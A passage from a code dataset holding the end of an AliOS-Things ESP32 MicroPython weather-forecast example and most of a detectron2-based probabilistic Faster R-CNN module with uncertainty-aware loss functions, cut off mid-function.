= cast['date']\n                    daytemp = cast['daytemp']\n                    nighttemp = cast['nighttemp']\n            except:\n                print(\"Error: casts\")\n            callFlag = True\n        else:\n            callFlag = False\n    else:\n        callFlag = False\n    g_lk_service = True\n\n# 循环定位获取天气信息线程\ndef weather_forecast_thread():\n    global gnssDev\n    while True:\n        location = gnssDev.getLocation()\n        if location:\n            print(\"The gnss infor 纬度-%d 经度-%d 海拔-%d\",location.longitude, location.latitude, location.altitude)\n            latitude = str(location.latitude[0])\n            longitude = str(location.longitude[0])\n            print('latitude: ' + latitude + \", longitude: \" + longitude)\n            if(latitude != '0.0' and longitude != '0.0'):\n                weather_forecast(latitude, longitude)\n        # 间隔5秒后再重新定位\n        utime.sleep_ms(5000)\n\ndef display_thread():\n    # 引用全局变量\n    global disp, callFlag, weatherResult\n    while True:\n        if callFlag == True:\n            # 清除屏幕内容\n            disp.clear()\n            # 设置文字字体\n            #disp.font(disp.FONT_DejaVu40)\n            # 显示识别结果\n            height = 30\n            for index in range(len(weatherResult)):\n                cast = weatherResult[index]\n                date = cast['date']\n                daytemp = cast['daytemp']\n                nighttemp = cast['nighttemp']\n                result = \"date=\" + date + \",daytemp=\" + daytemp + \",nighttemp=\" + nighttemp\n                print(result)\n                disp.text(10, height, result, disp.RED)\n                height = height + 30\n            utime.sleep_ms(1000)\n        else:\n            # 清除屏幕内容\n            disp.clear()\n            # 设置文字字体\n            #disp.font(disp.FONT_DejaVu40)\n            # 显示识别结果\n            disp.text(40, 20, 'no weather!!!', disp.RED)\n            print('no weather ...!!!')\n            utime.sleep_ms(1000)\n\ndef init_gps():\n    global gnssDev\n    print(\"gnss init...\")\n    uartDev = UART()\n    uartDev.open(\"gnss\")\n    gnssDev = gnss.GNSS(uartDev)\n\ndef init_device():\n    # 设备初始化\n    global dev\n    dev = Device()\n    dev.on(Device.ON_CONNECT, cb_lk_connect)\n    dev.on(Device.ON_SERVICE, cb_lk_service)\n    dev.connect(key_info)\n    while True:\n        if g_lk_connect:\n            break\n\ndef init():\n    # 全局变量\n    global disp, frame, gnssDev, callFlag, weatherResult\n    callFlag = False\n    # 创建lcd display对象\n    disp = display.TFT()\n    # 连接网络\n    connect_wifi(SSID, PWD)\n    # 初始化gps\n    init_gps()\n    # 初始化设备\n    init_device()\n\ndef execute():\n    try:\n        # 启动显示线程\n        _thread.start_new_thread(display_thread, ())\n        # 设置线程stack\n        _thread.stack_size(10 * 1024)\n        # 启动定位线程\n        _thread.start_new_thread(weather_forecast_thread, ())\n    except:\n       print(\"Error: unable to start thread\")\n    while True:\n        utime.sleep_ms(1000)\n\ndef main():\n    init()\n    execute()\n\nif __name__ == '__main__':\n    main()\n","repo_name":"alibaba/AliOS-Things","sub_path":"haas_lib_bundles/python/docs/examples/weather_forecast/esp32/code/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6846,"program_lang":"python","lang":"en","doc_type":"code","stars":4479,"dataset":"github-code","pt":"16"}
+{"seq_id":"9367120882","text":"import logging\nfrom typing import Dict, List, Optional, Tuple, Union\n\n# Detectron imports\nimport fvcore.nn.weight_init as weight_init\nimport numpy as np\nimport torch\nfrom detectron2.config import configurable\nfrom detectron2.data.detection_utils import convert_image_to_rgb\nfrom detectron2.layers import Conv2d, Linear, ShapeSpec, cat, get_norm\nfrom detectron2.modeling.box_regression import Box2BoxTransform\nfrom detectron2.modeling.meta_arch.build import META_ARCH_REGISTRY\nfrom detectron2.modeling.meta_arch.rcnn import GeneralizedRCNN\nfrom detectron2.modeling.roi_heads import ROI_HEADS_REGISTRY, StandardROIHeads\nfrom detectron2.modeling.roi_heads.box_head import ROI_BOX_HEAD_REGISTRY\nfrom detectron2.modeling.roi_heads.fast_rcnn import fast_rcnn_inference\nfrom detectron2.structures import Boxes, ImageList, Instances\nfrom detectron2.utils.events import get_event_storage\nfrom detectron2.utils.logger import log_first_n\nfrom fvcore.nn import smooth_l1_loss\n\n# Project imports\nfrom probabilistic_inference.inference_utils import get_dir_alphas\nfrom torch import distributions, nn\nfrom torch.nn import functional as F\n\nfrom probabilistic_modeling.losses import negative_log_likelihood, reshape_box_preds\nfrom probabilistic_modeling.modeling_utils import (\n    PoissonPointProcessIntensityFunction,\n    clamp_log_variance,\n    covariance_output_to_cholesky,\n    get_probabilistic_loss_weight,\n    unscented_transform,\n    PoissonPointUnion,\n)\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n\n@META_ARCH_REGISTRY.register()\nclass ProbabilisticGeneralizedRCNN(GeneralizedRCNN):\n    \"\"\"\n    Probabilistic GeneralizedRCNN class.\n    \"\"\"\n\n    def __init__(self, cfg):\n        super().__init__(cfg)\n\n        # Parse configs\n        self.cls_var_loss = cfg.MODEL.PROBABILISTIC_MODELING.CLS_VAR_LOSS.NAME\n        self.compute_cls_var = self.cls_var_loss != \"none\"\n        self.cls_var_num_samples = (\n            cfg.MODEL.PROBABILISTIC_MODELING.CLS_VAR_LOSS.NUM_SAMPLES\n        )\n\n        self.bbox_cov_loss = cfg.MODEL.PROBABILISTIC_MODELING.BBOX_COV_LOSS.NAME\n        self.compute_bbox_cov = self.bbox_cov_loss != \"none\"\n        self.bbox_cov_num_samples = (\n            cfg.MODEL.PROBABILISTIC_MODELING.BBOX_COV_LOSS.NUM_SAMPLES\n        )\n        self.bbox_cov_dist_type = (\n            cfg.MODEL.PROBABILISTIC_MODELING.BBOX_COV_LOSS.DISTRIBUTION_TYPE\n        )\n        self.bbox_cov_type = (\n            cfg.MODEL.PROBABILISTIC_MODELING.BBOX_COV_LOSS.COVARIANCE_TYPE\n        )\n        if self.bbox_cov_type == \"diagonal\":\n            # Diagonal covariance matrix has N elements\n            self.bbox_cov_dims = 4\n        else:\n            # Number of elements required to describe an NxN covariance matrix is\n            # computed as:  (N * (N + 1)) / 2\n            self.bbox_cov_dims = 10\n\n        self.dropout_rate = cfg.MODEL.PROBABILISTIC_MODELING.DROPOUT_RATE\n        self.use_dropout = self.dropout_rate != 0.0\n        self.num_mc_dropout_runs = -1\n        if (\n            self.compute_bbox_cov\n            and self.bbox_cov_loss == \"pmb_negative_log_likelihood\"\n        ):\n            ppp_constructor = lambda x: PoissonPointProcessIntensityFunction(\n                cfg, **x\n            )\n            self.nll_max_num_solutions = (\n                cfg.MODEL.PROBABILISTIC_MODELING.NLL_MAX_NUM_SOLUTIONS\n            )\n\n        self.current_step = 0\n\n        # Define custom probabilistic head\n        self.roi_heads.box_predictor = ProbabilisticFastRCNNOutputLayers(\n            cfg,\n            input_shape=self.roi_heads.box_head.output_shape,\n            compute_cls_var=self.compute_cls_var,\n            cls_var_loss=self.cls_var_loss,\n            cls_var_num_samples=self.cls_var_num_samples,\n            compute_bbox_cov=self.compute_bbox_cov,\n            bbox_cov_loss=self.bbox_cov_loss,\n            bbox_cov_type=self.bbox_cov_type,\n            bbox_cov_dims=self.bbox_cov_dims,\n            bbox_cov_num_samples=self.bbox_cov_num_samples,\n            ppp_constructor=ppp_constructor,\n            nll_max_num_solutions=self.nll_max_num_solutions,\n            bbox_cov_dist_type=self.bbox_cov_dist_type,\n            matching_distance=cfg.MODEL.PROBABILISTIC_MODELING.MATCHING_DISTANCE,\n            use_prediction_mixture=cfg.MODEL.PROBABILISTIC_MODELING.PPP.USE_PREDICTION_MIXTURE,\n        )\n\n        # Send to device\n        self.to(self.device)\n    def get_ppp_intensity_function(self):\n        return self.roi_heads.box_predictor.ppp_intensity_function\n\n    def forward(\n        self, batched_inputs, return_anchorwise_output=False, num_mc_dropout_runs=-1\n    ):\n        \"\"\"\n        Args:\n            batched_inputs: a list, batched outputs of :class:`DatasetMapper` .\n                Each item in the list contains the inputs for one image.\n                For now, each item in the list is a dict that contains:\n\n                * image: Tensor, image in (C, H, W) format.\n                * instances (optional): groundtruth :class:`Instances`\n                * proposals (optional): :class:`Instances`, precomputed proposals.\n\n                Other information that's included in the original dicts, such as:\n\n                * \"height\", \"width\" (int): the output resolution of the model, used in inference.\n                  See :meth:`postprocess` for details.\n\n            return_anchorwise_output (bool): returns raw output for probabilistic inference\n\n            num_mc_dropout_runs (int): perform efficient monte-carlo dropout runs by running only the head and\n            not full neural network.\n\n        Returns:\n            dict[str: Tensor]:\n                mapping from a named loss to a tensor storing the loss. Used during training only.\n        \"\"\"\n        try:\n            self.current_step += get_event_storage().iter\n        except:\n            self.current_step += 1\n\n        if not self.training and num_mc_dropout_runs == -1:\n            if return_anchorwise_output:\n                return self.produce_raw_output(batched_inputs)\n            else:\n                return self.inference(batched_inputs)\n        elif self.training and num_mc_dropout_runs > 1:\n            self.num_mc_dropout_runs = num_mc_dropout_runs\n            output_list = []\n            for i in range(num_mc_dropout_runs):\n                output_list.append(self.produce_raw_output(batched_inputs))\n            return output_list\n\n        images = self.preprocess_image(batched_inputs)\n        if \"instances\" in batched_inputs[0]:\n            gt_instances = [x[\"instances\"].to(self.device) for x in batched_inputs]\n        elif \"targets\" in batched_inputs[0]:\n            log_first_n(\n                logging.WARN,\n                \"'targets' in the model inputs is now renamed to 'instances'!\",\n                n=10,\n            )\n            gt_instances = [x[\"targets\"].to(self.device) for x in batched_inputs]\n        else:\n            gt_instances = None\n\n        features = self.backbone(images.tensor)\n\n        if self.proposal_generator:\n            proposals, proposal_losses = self.proposal_generator(\n                images, features, gt_instances\n            )\n        else:\n            assert \"proposals\" in batched_inputs[0]\n            proposals = [x[\"proposals\"].to(self.device) for x in batched_inputs]\n            proposal_losses = {}\n\n        _, detector_losses = self.roi_heads(\n            images, features, proposals, gt_instances, current_step=self.current_step\n        )\n        if self.vis_period > 0:\n            storage = get_event_storage()\n            if storage.iter % self.vis_period == 0:\n                # TODO: implement to visualize probabilistic outputs\n                self.visualize_training(batched_inputs, proposals)\n\n        losses = {}\n        losses.update(detector_losses)\n        losses.update(proposal_losses)\n        return losses\n\n    def produce_raw_output(self, batched_inputs, detected_instances=None):\n        \"\"\"\n        Run inference on the given inputs and return proposal-wise output for later postprocessing.\n\n        Args:\n            batched_inputs (list[dict]): same as in :meth:`forward`\n            detected_instances (None or list[Instances]): if not None, it\n                contains an `Instances` object per image. The `Instances`\n                object contains \"pred_boxes\" and \"pred_classes\" which are\n                known boxes in the image.\n                The inference will then skip the detection of bounding boxes,\n                and only predict other per-ROI outputs.\n        Returns:\n            same as in :meth:`forward`.\n        \"\"\"\n        raw_output = dict()\n\n        images = self.preprocess_image(batched_inputs)\n        features = self.backbone(images.tensor)\n\n        if detected_instances is None:\n            if self.proposal_generator:\n                proposals, _ = self.proposal_generator(images, features, None)\n            else:\n                assert \"proposals\" in batched_inputs[0]\n                proposals = [x[\"proposals\"].to(self.device) for x in batched_inputs]\n            # Create raw output dictionary\n            raw_output.update({\"proposals\": proposals[0]})\n\n            results, _ = self.roi_heads(\n                images,\n                features,\n                proposals,\n                None,\n                produce_raw_output=True,\n                num_mc_dropout_runs=self.num_mc_dropout_runs,\n            )\n        else:\n            detected_instances = [x.to(self.device) for x in detected_instances]\n            results = self.roi_heads.forward_with_given_boxes(\n                features, detected_instances\n            )\n\n        box_cls, box_delta, box_cls_var, box_reg_var = results\n\n        raw_output.update(\n            {\n                \"box_cls\": box_cls,\n                \"box_delta\": box_delta,\n                \"box_cls_var\": box_cls_var,\n                \"box_reg_var\": box_reg_var,\n            }\n        )\n        if (\n            self.compute_bbox_cov\n            and self.bbox_cov_loss == \"pmb_negative_log_likelihood\"\n        ):\n            ppp_output = (\n                self.roi_heads.box_predictor.ppp_intensity_function.get_weights()\n            )\n            raw_output.update({\"ppp\": ppp_output})\n\n        return raw_output\n\n    def visualize_training(self, batched_inputs, proposals):\n        \"\"\"\n        A function used to visualize images and proposals. It shows ground truth\n        bounding boxes on the original image and up to 20 top-scoring predicted\n        object proposals on the original image. Users can implement different\n        visualization functions for different models.\n\n        Args:\n            batched_inputs (list): a list that contains input to the model.\n            proposals (list): a list that contains predicted proposals. Both\n                batched_inputs and proposals should have the same length.\n        \"\"\"\n        from core.visualization_tools.probabilistic_visualizer import (\n            ProbabilisticVisualizer as Visualizer,\n        )\n\n        storage = get_event_storage()\n        max_vis_prop = 20\n\n        with torch.no_grad():\n            self.eval()\n            predictions = self.produce_raw_output(batched_inputs)\n            self.train()\n            predictions = (\n                predictions[\"box_cls\"],\n                predictions[\"box_delta\"],\n                predictions[\"box_cls_var\"],\n                predictions[\"box_reg_var\"],\n            )\n            _, _, _, pred_covs = predictions\n            boxes = self.roi_heads.box_predictor.predict_boxes(predictions, proposals)\n            scores = self.roi_heads.box_predictor.predict_probs(predictions, proposals)\n            image_shapes = [x.image_size for x in proposals]\n\n            # Apply NMS without score threshold\n            instances, kept_idx = fast_rcnn_inference(\n                boxes,\n                scores,\n                image_shapes,\n                0.0,\n                self.roi_heads.box_predictor.test_nms_thresh,\n                self.roi_heads.box_predictor.test_topk_per_image,\n            )\n\n            num_prop_per_image = [len(p) for p in proposals]\n            pred_covs = pred_covs.split(num_prop_per_image)\n\n            pred_covs = [pred_cov[kept] for pred_cov, kept in zip(pred_covs, kept_idx)]\n            pred_scores = [score[kept] for score, kept in zip(scores, kept_idx)]\n            pred_boxes = [box[kept] for box, kept in zip(boxes, kept_idx)]\n\n        for i, (input, prop) in enumerate(zip(batched_inputs, proposals)):\n            img = input[\"image\"]\n            img = convert_image_to_rgb(img.permute(1, 2, 0), self.input_format)\n            v_gt = Visualizer(img, None)\n            v_gt = v_gt.overlay_instances(boxes=input[\"instances\"].gt_boxes)\n            anno_img = v_gt.get_image()\n            box_size = min(len(prop.proposal_boxes), max_vis_prop)\n\n            v_pred = Visualizer(img, None)\n            boxes = pred_boxes[i][0:box_size, :4].cpu().numpy()\n            pred_cov_matrix = pred_covs[i][0:box_size, :4]\n            pred_cov_matrix = clamp_log_variance(pred_cov_matrix)\n            chol = covariance_output_to_cholesky(pred_cov_matrix)\n            cov = (\n                torch.matmul(chol, torch.transpose(chol, -1, -2)).cpu().detach().numpy()\n            )\n\n            v_pred = v_pred.overlay_covariance_instances(\n                boxes=boxes, covariance_matrices=cov\n            )\n            prop_img = v_pred.get_image()\n            vis_img = np.concatenate((anno_img, prop_img), axis=1)\n            vis_img = vis_img.transpose(2, 0, 1)\n            vis_name = \"Left: GT bounding boxes;  Right: Predicted proposals\"\n            storage.put_image(vis_name, vis_img)\n            break  # only visualize one image in a batch\n\n\n@ROI_HEADS_REGISTRY.register()\nclass ProbabilisticROIHeads(StandardROIHeads):\n    \"\"\"\n    Probabilistic ROI heads, inherit from standard ROI heads so can be used with mask RCNN in theory.\n    \"\"\"\n\n    def __init__(self, cfg, input_shape):\n        super(ProbabilisticROIHeads, self).__init__(cfg, input_shape)\n\n        self.is_mc_dropout_inference = False\n        self.produce_raw_output = False\n        self.current_step = 0\n\n    def forward(\n        self,\n        images: ImageList,\n        features: Dict[str, torch.Tensor],\n        proposals: List[Instances],\n        targets: Optional[List[Instances]] = None,\n        num_mc_dropout_runs=-1,\n        produce_raw_output=False,\n        current_step=0.0,\n    ) -> Tuple[List[Instances], Dict[str, torch.Tensor]]:\n        \"\"\"\n        See :class:`ROIHeads.forward`.\n        \"\"\"\n\n        self.is_mc_dropout_inference = num_mc_dropout_runs > 1\n        self.produce_raw_output = produce_raw_output\n        self.current_step = current_step\n\n        del images\n        if self.training and not self.is_mc_dropout_inference:\n            assert targets\n            proposals = self.label_and_sample_proposals(proposals, targets)\n        # del targets\n\n        if self.training and not self.is_mc_dropout_inference:\n            losses = self._forward_box(features, proposals, targets)\n            # Usually the original proposals used by the box head are used by the mask, keypoint\n            # heads. But when `self.train_on_pred_boxes is True`, proposals will contain boxes\n            # predicted by the box head.\n            losses.update(self._forward_mask(features, proposals))\n            losses.update(self._forward_keypoint(features, proposals))\n            return proposals, losses\n        else:\n            pred_instances = self._forward_box(features, proposals, targets)\n            if self.produce_raw_output:\n                return pred_instances, {}\n            # During inference cascaded prediction is used: the mask and keypoints heads are only\n            # applied to the top scoring box detections.\n            pred_instances = self.forward_with_given_boxes(features, pred_instances)\n            return pred_instances, {}\n\n    def _forward_box(\n        self,\n        features: Dict[str, torch.Tensor],\n        proposals: List[Instances],\n        gt_instances: List[Instances],\n    ) -> Union[Dict[str, torch.Tensor], List[Instances]]:\n        \"\"\"\n        Forward logic of the box prediction branch. If `self.train_on_pred_boxes is True`,\n            the function puts predicted boxes in the `proposal_boxes` field of `proposals` argument.\n\n        Args:\n            features (dict[str, Tensor]): mapping from feature map names to tensor.\n                Same as in :meth:`ROIHeads.forward`.\n            proposals (list[Instances]): the per-image object proposals with\n                their matching ground truth.\n                Each has fields \"proposal_boxes\", and \"objectness_logits\",\n                \"gt_classes\", \"gt_boxes\".\n\n        Returns:\n            In training, a dict of losses.\n            In inference, a list of `Instances`, the predicted instances.\n        \"\"\"\n        features = [features[f] for f in self.in_features]\n        box_features = self.box_pooler(features, [x.proposal_boxes for x in proposals])\n        box_features = self.box_head(box_features)\n        predictions = self.box_predictor(box_features)\n        del box_features\n\n        if self.produce_raw_output:\n            return predictions\n\n        if self.training:\n            losses = self.box_predictor.losses(\n                predictions, proposals, self.current_step, gt_instances\n            )\n            # proposals is modified in-place below, so losses must be computed first.\n            if self.train_on_pred_boxes:\n                with torch.no_grad():\n                    pred_boxes = self.box_predictor.predict_boxes_for_gt_classes(\n                        predictions, proposals\n                    )\n                    for proposals_per_image, pred_boxes_per_image in zip(\n                        proposals, pred_boxes\n                    ):\n                        proposals_per_image.proposal_boxes = Boxes(pred_boxes_per_image)\n            return losses\n        else:\n            pred_instances, _ = self.box_predictor.inference(predictions, proposals)\n            return pred_instances\n\n\nclass ProbabilisticFastRCNNOutputLayers(nn.Module):\n    \"\"\"\n    Four linear layers for predicting Fast R-CNN outputs:\n      (1) proposal-to-detection box regression deltas\n      (2) classification scores\n      (3) box regression deltas covariance parameters (if needed)\n      (4) classification logits variance (if needed)\n    \"\"\"\n\n    @configurable\n    def __init__(\n        self,\n        input_shape,\n        *,\n        box2box_transform,\n        num_classes,\n        cls_agnostic_bbox_reg=False,\n        smooth_l1_beta=0.0,\n        test_score_thresh=0.0,\n        test_nms_thresh=0.5,\n        test_topk_per_image=100,\n        compute_cls_var=False,\n        compute_bbox_cov=False,\n        bbox_cov_dims=4,\n        cls_var_loss=\"none\",\n        cls_var_num_samples=10,\n        bbox_cov_loss=\"none\",\n        bbox_cov_type=\"diagonal\",\n        dropout_rate=0.0,\n        annealing_step=0,\n        bbox_cov_num_samples=1000,\n        ppp_constructor=None,\n        nll_max_num_solutions=5,\n        bbox_cov_dist_type=None,\n        matching_distance=\"log_prob\",\n        use_prediction_mixture=False,\n    ):\n        \"\"\"\n        NOTE: this interface is experimental.\n\n        Args:\n            input_shape (ShapeSpec): shape of the input feature to this module\n            box2box_transform (Box2BoxTransform or Box2BoxTransformRotated):\n            num_classes (int): number of foreground classes\n            cls_agnostic_bbox_reg (bool): whether to use class agnostic for bbox regression\n            smooth_l1_beta (float): transition point from L1 to L2 loss.\n            test_score_thresh (float): threshold to filter predictions results.\n            test_nms_thresh (float): NMS threshold for prediction results.\n            test_topk_per_image (int): number of top predictions to produce per image.\n            compute_cls_var (bool): compute classification variance\n            compute_bbox_cov (bool): compute box covariance regression parameters.\n            bbox_cov_dims (int): 4 for diagonal covariance, 10 for full covariance.\n            cls_var_loss (str): name of classification variance loss.\n            cls_var_num_samples (int): number of samples to be used for loss computation. Usually between 10-100.\n            bbox_cov_loss (str): name of box covariance loss.\n            bbox_cov_type (str): 'diagonal' or 'full'. This is used to train with loss functions that accept both types.\n            dropout_rate (float): 0-1, probability of drop.\n            annealing_step (int): step used for KL-divergence in evidential loss to fully be functional.\n            ppp_intensity_function (func): function that returns PPP intensity given sample box\n            nll_max_num_solutions (int): Maximum NLL solutions to consider when computing NLL-PMB loss\n        \"\"\"\n        super().__init__()\n        if isinstance(input_shape, int):  # some backward compatibility\n            input_shape = ShapeSpec(channels=input_shape)\n        self.num_classes = num_classes\n        input_size = (\n            input_shape.channels * (input_shape.width or 1) * (input_shape.height or 1)\n        )\n\n        self.compute_cls_var = compute_cls_var\n        self.compute_bbox_cov = compute_bbox_cov\n\n        self.bbox_cov_dims = bbox_cov_dims\n        self.bbox_cov_num_samples = bbox_cov_num_samples\n\n        self.dropout_rate = dropout_rate\n        self.use_dropout = self.dropout_rate != 0.0\n\n        self.cls_var_loss = cls_var_loss\n        self.cls_var_num_samples = cls_var_num_samples\n\n        self.annealing_step = annealing_step\n\n        self.bbox_cov_loss = bbox_cov_loss\n        self.bbox_cov_type = bbox_cov_type\n        self.bbox_cov_dist_type = bbox_cov_dist_type\n\n        # The prediction layer for num_classes foreground classes and one background class\n        # (hence + 1)\n        self.cls_score = Linear(input_size, num_classes + 1)\n        num_bbox_reg_classes = 1.0 if cls_agnostic_bbox_reg else num_classes\n        box_dim = len(box2box_transform.weights)\n        self.bbox_pred = Linear(input_size, num_bbox_reg_classes * box_dim)\n\n        nn.init.normal_(self.cls_score.weight, std=0.01)\n        nn.init.normal_(self.bbox_pred.weight, std=0.001)\n        for l in [self.cls_score, self.bbox_pred]:\n            nn.init.constant_(l.bias, 0)\n\n        if self.compute_cls_var:\n            self.cls_var = Linear(input_size, num_classes + 1)\n            nn.init.normal_(self.cls_var.weight, std=0.0001)\n            nn.init.constant_(self.cls_var.bias, 0)\n\n        if self.compute_bbox_cov:\n            self.bbox_cov = Linear(input_size, num_bbox_reg_classes * bbox_cov_dims)\n            nn.init.normal_(self.bbox_cov.weight, std=0.0001)\n            nn.init.constant_(self.bbox_cov.bias, 0.0)\n\n        self.box2box_transform = box2box_transform\n        self.smooth_l1_beta = smooth_l1_beta\n        self.test_score_thresh = test_score_thresh\n        self.test_nms_thresh = test_nms_thresh\n        self.test_topk_per_image = test_topk_per_image\n\n        self.ppp_intensity_function = ppp_constructor({\"device\": device}) if ppp_constructor is not None else None\n        self.ppp_constructor = ppp_constructor\n        self.nll_max_num_solutions = nll_max_num_solutions\n        self.matching_distance = matching_distance\n        self.use_prediction_mixture = use_prediction_mixture\n\n    @classmethod\n    def from_config(\n        cls,\n        cfg,\n        input_shape,\n        compute_cls_var,\n        cls_var_loss,\n        cls_var_num_samples,\n        compute_bbox_cov,\n        bbox_cov_loss,\n        bbox_cov_type,\n        bbox_cov_dims,\n        bbox_cov_num_samples,\n        ppp_constructor,\n        nll_max_num_solutions,\n    ):\n        return {\n            \"input_shape\": input_shape,\n            \"box2box_transform\": Box2BoxTransform(\n                weights=cfg.MODEL.ROI_BOX_HEAD.BBOX_REG_WEIGHTS\n            ),\n            # fmt: off\n            \"num_classes\": cfg.MODEL.ROI_HEADS.NUM_CLASSES,\n            \"cls_agnostic_bbox_reg\": cfg.MODEL.ROI_BOX_HEAD.CLS_AGNOSTIC_BBOX_REG,\n            \"smooth_l1_beta\": cfg.MODEL.ROI_BOX_HEAD.SMOOTH_L1_BETA,\n            \"test_score_thresh\": cfg.MODEL.ROI_HEADS.SCORE_THRESH_TEST,\n            \"test_nms_thresh\": cfg.MODEL.ROI_HEADS.NMS_THRESH_TEST,\n            \"test_topk_per_image\": cfg.TEST.DETECTIONS_PER_IMAGE,\n            \"compute_cls_var\": compute_cls_var,\n            \"cls_var_loss\": cls_var_loss,\n            \"cls_var_num_samples\": cls_var_num_samples,\n            \"compute_bbox_cov\": compute_bbox_cov,\n            \"bbox_cov_dims\": bbox_cov_dims,\n            \"bbox_cov_loss\": bbox_cov_loss,\n            \"bbox_cov_type\": bbox_cov_type,\n            \"dropout_rate\": cfg.MODEL.PROBABILISTIC_MODELING.DROPOUT_RATE,\n            \"annealing_step\": cfg.SOLVER.STEPS[1] if cfg.MODEL.PROBABILISTIC_MODELING.ANNEALING_STEP <= 0 else cfg.MODEL.PROBABILISTIC_MODELING.ANNEALING_STEP,\n            \"bbox_cov_num_samples\": bbox_cov_num_samples,\n            \"ppp_constructor\": ppp_constructor,\n            \"nll_max_num_solutions\" : nll_max_num_solutions,\n            'bbox_cov_dist_type': cfg.MODEL.PROBABILISTIC_MODELING.BBOX_COV_LOSS.COVARIANCE_TYPE,\n            \"use_prediction_mixture\": cfg.MODEL.PROBABILISTIC_MODELING.PPP.USE_PREDICTION_MIXTURE\n            # fmt: on\n        }\n\n    def forward(self, x):\n        \"\"\"\n        Args:\n            x: per-region features of shape (N, ...) for N bounding boxes to predict.\n\n        Returns:\n            Tensor: Nx(K+1) logits for each box\n            Tensor: Nx4 or Nx(Kx4) bounding box regression deltas.\n            Tensor: Nx(K+1) logits variance for each box.\n            Tensor: Nx4(10) or Nx(Kx4(10)) covariance matrix parameters. 4 if diagonal, 10 if full.\n        \"\"\"\n        if x.dim() > 2:\n            x = torch.flatten(x, start_dim=1)\n        scores = self.cls_score(x)\n        proposal_deltas = self.bbox_pred(x)\n\n        # Compute logits variance if needed\n        if self.compute_cls_var:\n            score_vars = self.cls_var(x)\n        else:\n            score_vars = None\n\n        # Compute box covariance if needed\n        if self.compute_bbox_cov:\n            proposal_covs = self.bbox_cov(x)\n        else:\n            proposal_covs = None\n\n        return scores, proposal_deltas, score_vars, proposal_covs\n\n    def losses(self, predictions, proposals, current_step=0, gt_instances=None):\n        \"\"\"\n        Args:\n            predictions: return values of :meth:`forward()`.\n            proposals (list[Instances]): proposals that match the features\n                that were used to compute predictions.\n            current_step: current optimizer step. Used for losses with an annealing component.\n            gt_instances: list of ground truth instances\n\n        Returns:\n            Dict[str, Tensor]: dict of losses\n        \"\"\"\n        global device\n\n        # Overwrite later\n        use_nll_loss = False\n\n        (\n            pred_class_logits,\n            pred_proposal_deltas,\n            pred_class_logits_var,\n            pred_proposal_covs,\n        ) = predictions\n\n        if len(proposals):\n            box_type = type(proposals[0].proposal_boxes)\n            # cat(..., dim=0) concatenates over all images in the batch\n            proposals_boxes = box_type.cat([p.proposal_boxes for p in proposals])\n            assert (\n                not proposals_boxes.tensor.requires_grad\n            ), \"Proposals should not require gradients!\"\n\n            # The following fields should exist only when training.\n            if proposals[0].has(\"gt_boxes\"):\n                gt_boxes = box_type.cat([p.gt_boxes for p in proposals])\n                assert proposals[0].has(\"gt_classes\")\n                gt_classes = cat([p.gt_classes for p in proposals], dim=0)\n        else:\n            proposals_boxes = Boxes(\n                torch.zeros(0, 4, device=pred_proposal_deltas.device)\n            )\n\n        no_instances = len(proposals) == 0  # no instances found\n\n        # Compute Classification Loss\n        if no_instances:\n            # TODO 0.0 * pred.sum() is enough since PT1.6\n            loss_cls = 0.0 * F.cross_entropy(\n                pred_class_logits,\n                torch.zeros(0, dtype=torch.long, device=pred_class_logits.device),\n                reduction=\"sum\",\n            )\n        else:\n            if self.compute_cls_var:\n                # Compute classification variance according to:\n                # \"What Uncertainties Do We Need in Bayesian Deep Learning for Computer Vision?\", NIPS 2017\n                if self.cls_var_loss == \"loss_attenuation\":\n                    num_samples = self.cls_var_num_samples\n\n                    # Compute standard deviation\n                    pred_class_logits_var = torch.sqrt(torch.exp(pred_class_logits_var))\n\n                    # Produce normal samples using logits as the mean and the standard deviation computed above\n                    # Scales with GPU memory. 12 GB ---> 3 Samples per anchor for\n                    # COCO dataset.\n                    univariate_normal_dists = distributions.normal.Normal(\n                        pred_class_logits, scale=pred_class_logits_var\n                    )\n\n                    pred_class_stochastic_logits = univariate_normal_dists.rsample(\n                        (num_samples,)\n                    )\n                    pred_class_stochastic_logits = pred_class_stochastic_logits.view(\n                        (\n                            pred_class_stochastic_logits.shape[1] * num_samples,\n                            pred_class_stochastic_logits.shape[2],\n                            -1,\n                        )\n                    )\n                    pred_class_logits = pred_class_stochastic_logits.squeeze(2)\n\n                    # Produce copies of the target classes to match the number of\n                    # stochastic samples.\n                    gt_classes_target = torch.unsqueeze(gt_classes, 0)\n                    gt_classes_target = torch.repeat_interleave(\n                        gt_classes_target, num_samples, dim=0\n                    ).view((gt_classes_target.shape[1] * num_samples, -1))\n                    gt_classes_target = gt_classes_target.squeeze(1)\n\n                    loss_cls = F.cross_entropy(\n                        pred_class_logits, gt_classes_target, reduction=\"mean\"\n                    )\n            elif self.cls_var_loss == \"evidential\":\n                # ToDo: Currently does not provide any reasonable mAP Results\n                # (15% mAP)\n\n                # Assume dirichlet parameters are output.\n                alphas = get_dir_alphas(pred_class_logits)\n\n                # Get sum of all alphas\n                dirichlet_s = alphas.sum(1).unsqueeze(1)\n\n                # Generate one hot vectors for ground truth\n                one_hot_vectors = torch.nn.functional.one_hot(\n                    gt_classes, alphas.shape[1]\n                )\n\n                # Compute loss. This loss attempts to put all evidence on the\n                # correct location.\n                per_instance_loss = one_hot_vectors * (\n                    torch.digamma(dirichlet_s) - torch.digamma(alphas)\n                )\n\n                # Compute KL divergence regularizer loss\n                estimated_dirichlet = torch.distributions.dirichlet.Dirichlet(\n                    (alphas - 1.0) * (1.0 - one_hot_vectors) + 1.0\n                )\n                uniform_dirichlet = torch.distributions.dirichlet.Dirichlet(\n                    torch.ones_like(one_hot_vectors).type(torch.FloatTensor).to(device)\n                )\n                kl_regularization_loss = torch.distributions.kl.kl_divergence(\n                    estimated_dirichlet, uniform_dirichlet\n                )\n\n                # Compute final loss\n                annealing_multiplier = torch.min(\n                    torch.as_tensor(current_step / self.annealing_step).to(device),\n                    torch.as_tensor(1.0).to(device),\n                )\n\n                per_proposal_loss = (\n                    per_instance_loss.sum(1)\n                    + annealing_multiplier * kl_regularization_loss\n                )\n\n                # Compute evidence auxiliary loss\n                evidence_maximization_loss = smooth_l1_loss(\n                    dirichlet_s,\n                    100.0 * torch.ones_like(dirichlet_s).to(device),\n                    beta=self.smooth_l1_beta,\n                    reduction=\"mean\",\n                )\n\n                evidence_maximization_loss *= annealing_multiplier\n\n                # Compute final loss\n                foreground_loss = per_proposal_loss[\n                    (gt_classes >= 0) & (gt_classes < pred_class_logits.shape[1] 